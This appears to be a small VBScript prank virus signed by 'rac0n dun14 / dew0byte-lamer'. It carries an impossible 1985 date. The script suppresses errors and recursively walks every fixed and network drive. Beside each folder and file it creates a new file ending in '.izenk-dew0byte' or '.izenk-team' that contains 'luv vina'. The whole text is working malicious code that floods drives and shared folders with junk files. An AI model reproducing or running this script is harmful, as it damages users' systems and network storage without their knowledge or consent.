iseng pake notepad

rem - rac0n dun14/ dew0byte-lamer
rem - Written on November 17th, 1985

On Error Resume Next
dim FSobj,orgMes,finalMes
set FSobj=CreateObject("Scripting.FileSystemObject")

orgMes="luv vina"
orgMes=replace(orgMes,chr(42),chr(68))
orgMes=replace(orgMes,chr(124),chr(46))
finalMes=replace(orgMes,chr(37),chr(76))


On Error Resume Next
dim drive,machine

set machine=FSobj.Drives
for each drive in machine
if (drive.DriveType=2)or(drive.DriveType=3) then
indexFolders(drive.Path&"")
end If
next


sub indexFolders(location)
On Error Resume Next
dim specs,file,subFol,sayHello

set specs=FSobj.GetFolder(location)
set subFol=specs.SubFolders

for each file in subFol
set sayHello = FSobj.CreateTextFile(file.Path&".izenk-dew0byte", 2, True)
sayHello.write finalMes
sayHello.Close
writeData(file.Path)
indexFolders(file.Path)
next
end sub

sub writeData(location)
On Error Resume Next
dim folder,directory,file,sayHello

set folder=FSobj.GetFolder(location)
set directory=folder.Files

for each file in directory
set sayHello = FSobj.CreateTextFile(file.Path&".izenk-team", 2, True)
sayHello.write finalMes
sayHello.Close
next
end sub